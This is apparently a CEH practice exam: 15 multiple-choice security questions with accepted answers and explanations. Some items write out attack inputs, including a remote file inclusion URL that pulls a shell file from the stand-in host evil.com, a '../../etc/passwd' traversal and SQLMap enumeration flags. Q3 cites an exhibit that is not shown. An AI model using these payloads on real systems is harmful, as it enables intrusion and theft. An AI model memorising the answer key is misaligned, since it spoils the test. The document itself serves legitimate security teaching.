CEH Practice Test 13 — 15 Questions

Question 1

A security engineer observes the following log event: 'Certificate for www.example.com was issued by an intermediate CA that chains to a root CA not in the trusted store.' Which type of attack might this indicate?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Man-in-the-middle using a rogue certificate. A certificate from an untrusted root CA suggests a rogue or misissued certificate, possibly from a malicious CA or a man-in-the-middle attack using a proxy with its own CA certificate not trusted by the client.

Answer

Birthday attack on the certificate signature

Answer

Downgrade attack to SSLv3

Answer

Replay attack on the TLS handshake

Question 2

An ethical hacker needs to crack a set of NTLM hashes obtained from a Windows system. Which tool would be MOST efficient for performing a dictionary attack with hybrid rules?

Accepted Answer

Hashcat. Hashcat is the most efficient tool for performing a dictionary attack with hybrid rules because it is GPU-accelerated, supports the NTLM hash mode (1000), and allows the application of rule-based mutations (e.g., appending digits or special characters) directly to dictionary words. Its speed and flexibility in handling large wordlists with complex rule sets make it superior for cracking NTLM hashes in a professional penetration test.

Answer

John the Ripper

Answer

Ophcrack

Answer

RainbowCrack

Question 3

Refer to the exhibit. A security analyst checks for missing patches. Which vulnerability is this system likely exposed to?

Accepted Answer

PrintNightmare (CVE-2021-34527). The system is Windows 10 build 19041 (2004) with patches up to 9/17/2020. EternalBlue (MS17-010) was patched in 2017, so it is likely patched. However, BlueKeep (CVE-2019-0708) affects older systems (Windows 7/2008 R2), not Windows 10. ZeroLogon (CVE-2020-1472) was patched in August 2020; the system has KB4577586 from 9/8/2020 which includes the fix. PrintNightmare (CVE-2021-34527) was disclosed in 2021, after the patch dates shown, so the system is likely vulnerable to PrintNightmare.

Answer

EternalBlue (MS17-010)

Answer

BlueKeep (CVE-2019-0708)

Answer

ZeroLogon (CVE-2020-1472)

Question 4

A penetration tester uses a tool to intercept and modify HTTP/HTTPS requests in real-time between the browser and the web application. Which tool is being used?

Accepted Answer

Burp Suite Proxy. Burp Suite's Proxy module allows interception and modification of HTTP/HTTPS traffic. Repeater is for resending requests, Intruder for automated attacks, Scanner for vulnerability scanning.

Answer

SQLMap

Answer

Nmap

Answer

Metasploit

Question 5

A web server is found to have directory listing enabled for the /uploads folder. An attacker discovers a shell.php file uploaded earlier. Which attack is the attacker MOST likely to perform next?

Accepted Answer

Remote code execution via uploaded shell. With directory listing, the attacker can find the path to the uploaded shell and then access it to execute commands on the server.

Answer

File inclusion

Answer

Cross-site scripting

Answer

SQL injection

Question 6

A web application allows users to view documents by specifying a filename in the URL, e.g., /getDocument?file=report.pdf. A tester changes the file parameter to '../../etc/passwd' and retrieves the system password file. Which vulnerability is being exploited?

Accepted Answer

Directory traversal. Directory traversal (path traversal) occurs when user input is used to access files outside the intended directory. The use of '../' sequences indicates directory traversal.

Answer

Local File Inclusion (LFI)

Answer

Remote File Inclusion (RFI)

Answer

Command injection

Question 7

An attacker performs a downgrade attack on a TLS connection, forcing the client and server to negotiate a weaker cipher suite. This attack exploits which of the following?

Accepted Answer

The fallback mechanism in SSL/TLS implementations. Downgrade attacks exploit the fallback mechanism in TLS where, if a handshake fails, the client retries with a lower version or weaker suite. The attacker forces failure to degrade security.

Answer

A vulnerability in the TLS 1.3 handshake

Answer

A known weakness in the Diffie-Hellman key exchange

Answer

The ability to modify the ClientHello message

Question 8

Which of the following is a recommended countermeasure against WPA2 KRACK attacks?

Accepted Answer

Patch all clients and access points. KRACK attacks exploit vulnerabilities in the WPA2 4-way handshake key reinstallation. The primary fix is to install security patches on clients and APs that implement the IEEE 802.11 standard update. Disabling WPS does not prevent KRACK, and switching to WEP is less secure.

Answer

Enable MAC filtering

Answer

Disable WPS

Answer

Switch to WEP encryption

Question 9

A penetration tester uses the tool 'Pacu' during an assessment. Which of the following actions is Pacu designed to perform?

Accepted Answer

Automate penetration testing tasks in AWS environments. Pacu is an open-source AWS exploitation framework that allows security professionals to test the security of AWS environments. It can perform various attacks, such as IAM privilege escalation, S3 bucket enumeration, and metadata service exploitation.

Answer

Exploit vulnerabilities in Azure cloud infrastructure

Answer

Perform network scanning and service enumeration

Answer

Crack WPA2 handshakes using dictionary attacks

Question 10

Which of the following is a recommended defense against Cross-Site Request Forgery (CSRF) attacks?

Accepted Answer

Implementing CSRF tokens in forms. CSRF tokens are unique per request and verified by the server, making forged requests invalid without the token.

Answer

Enabling directory listing on the web server

Answer

Using a same-origin policy with CORS headers

Answer

Setting the HttpOnly flag on cookies

Question 11

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

Accepted Answer

Remote File Inclusion (RFI). Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.

Answer

Directory traversal

Answer

Local File Inclusion (LFI)

Answer

Command injection

Question 12

A penetration tester uses theHarvester to gather information about a target domain. Which of the following data types is theHarvester PRIMARILY designed to collect?

Accepted Answer

Email addresses and subdomains. theHarvester is an open-source intelligence (OSINT) tool designed to perform passive reconnaissance by querying public sources such as search engines (Google, Bing), PGP key servers, and the Shodan API. Its primary function is to collect email addresses, subdomains, IP addresses, and virtual hosts associated with a target domain, aiding in the footprinting phase of a penetration test.

Answer

Live network traffic captures

Answer

Passwords hashes

Answer

Vulnerability scan results

Question 13

A penetration tester is using SQLMap to automate exploitation of a SQL injection vulnerability found in a login form. The tester wants to retrieve the names of all databases on the backend MySQL server. Which SQLMap flag should be used?

Accepted Answer

--dbs. The --dbs flag in SQLMap enumerates all databases on the database server.

Answer

--current-db

Answer

--schema

Answer

--tables

Question 14

You are a penetration tester assessing a client's internal network. The client has provided you with a non-administrative domain user account. The target network consists of 200 Windows workstations and 5 Windows servers (one domain controller, one file server, two application servers, and one database server). All systems are fully patched and have host-based firewalls enabled. The client wants you to identify vulnerabilities that could be exploited from the internal network. After initial reconnaissance, you discover that all servers have SMB (port 445) open only to the domain controller and the file server has SMB open to all workstations. You have gained a foothold on a workstation via a phishing attack. From this workstation, you can reach the file server on port 445. What is the most effective next step to enumerate potential vulnerabilities on the file server?

Accepted Answer

Enumerate SMB shares and session information using `net view \fileserver` and `smbclient -L //fileserver`.. The client's objective is to enumerate potential vulnerabilities on the file server from the compromised workstation. Since SMB (port 445) is open between workstations and the file server, using `net view \fileserver` and `smbclient -L //fileserver` allows you to list SMB shares, sessions, and other information without requiring administrative privileges or additional tools. This is a standard enumeration technique that reveals accessible resources, which can then be tested for misconfigurations or weak permissions.

Answer

Attempt to connect to the file server via RDP (port 3389) using the compromised user's credentials.

Answer

Use PsExec to execute commands remotely on the file server using the compromised user account.

Answer

Run a full vulnerability scan (e.g., Nessus) against the entire subnet to identify weaknesses.

Question 15

You are a security consultant for a mid-sized company with 500 employees. The company has a secure data center with a biometric access control system. Recently, a contractor was able to enter the data center without authorization by claiming he forgot his badge and an employee held the door for him. The contractor then accessed sensitive servers and exfiltrated data. The company wants to prevent such incidents. Which physical security control would be most effective in preventing this type of attack?

Accepted Answer

Implement a mantrap with biometric and badge authentication.. A mantrap with biometric and badge authentication enforces strict two-person authentication: both the contractor and the employee must independently authenticate before the mantrap doors unlock. This prevents tailgating (piggybacking) by ensuring only one person enters per authentication cycle, eliminating the social engineering vector where an employee holds the door for an unauthorized individual.

Answer

Install CCTV cameras to monitor the entrance.

Answer

Require employees to wear RFID badges at all times.

Answer

Hire additional security guards at the entrance.